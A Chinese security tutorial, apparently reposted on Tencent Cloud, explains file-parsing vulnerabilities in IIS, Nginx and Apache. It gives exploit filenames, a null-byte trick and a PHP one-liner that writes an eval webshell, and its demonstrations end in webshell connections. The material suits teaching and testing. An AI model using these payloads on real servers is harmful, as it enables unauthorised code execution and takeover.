前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >中间件的解析漏洞详解及演示

中间件的解析漏洞详解及演示

作者头像
行云博客
发布2020-08-24 10:55:51
2.1K0
发布2020-08-24 10:55:51
举报
文章被收录于专栏:行云博客行云博客

本文转自行云博客https://www.xy586.top/

文章目录

解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。

类型:

  1. IIS 5.x/6.0解析漏洞
  2. IIS 7.0/IIS 7.5/
  3. Nginx <0.8.3畸形解析漏洞
  4. Nginx <8.03 空字节代码执行漏洞
  5. Apache解析漏洞
在这里插入图片描述
在这里插入图片描述

IIS5.x-6.x解析漏洞

利用方法

IIS6.0 默认的可执行文件除了asp还包含这三种 /sp.asa /sp.cer /sp.cdx 1.目录解析 /xx.asp/xx.jpg 2.文件解析 sp.asp;.jpg 第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。 例如创建目录 sp.asp,那么 /sp.asp/1.jpg 将被当作asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。 第二种,在IIS6.0下,分号后面的不被解析,也就是说 sp.asp;.jpg 会被服务器看成是sp.asp

Apache

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 sec.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把sec.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个sec.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。 (2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

IIS 7.0/IIS 7.5/nginx 0.8.3解析漏洞

在默认Fast-CGI开启状况下,黑客上传一个名字为sp.jpg,内容为

代码语言:javascript
复制
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

的文件,然后访问sp.jpg/.php,在这个目录下就会生成一句话木马 shell.php

Nginx <0.8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37 Nginx在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码

演示

IIS6.0解析漏洞

1.上传23.asa;jpg文件

在这里插入图片描述
在这里插入图片描述

蚁剑连接成功

在这里插入图片描述
在这里插入图片描述

2.将23.asa;jpg文件改名为23.jpg,并放到1.asp目录下访问,然后使用蚁剑连接

在这里插入图片描述
在这里插入图片描述
Nginx 漏洞

上传一个图片马,里面含有代码 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?> 该木马会在上传后,运用Apache的解析漏洞再次访问时生成一个shell.php木马

在这里插入图片描述
在这里插入图片描述

访问该图片,并在末尾加上/.php

在这里插入图片描述
在这里插入图片描述

生成shell.php

在这里插入图片描述
在这里插入图片描述

蚁剑去连接该shell.php

在这里插入图片描述
在这里插入图片描述
Apache解析漏洞

上传带一句话木马的1.php.q.w.d文件

在这里插入图片描述
在这里插入图片描述

蚁剑连接

在这里插入图片描述
在这里插入图片描述
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-08-19 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章目录
  • IIS5.x-6.x解析漏洞
  • Apache
  • IIS 7.0/IIS 7.5/nginx 0.8.3解析漏洞
  • Nginx <0.8.03 空字节代码执行漏洞
  • 演示
    • IIS6.0解析漏洞
      • Nginx 漏洞
        • Apache解析漏洞
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档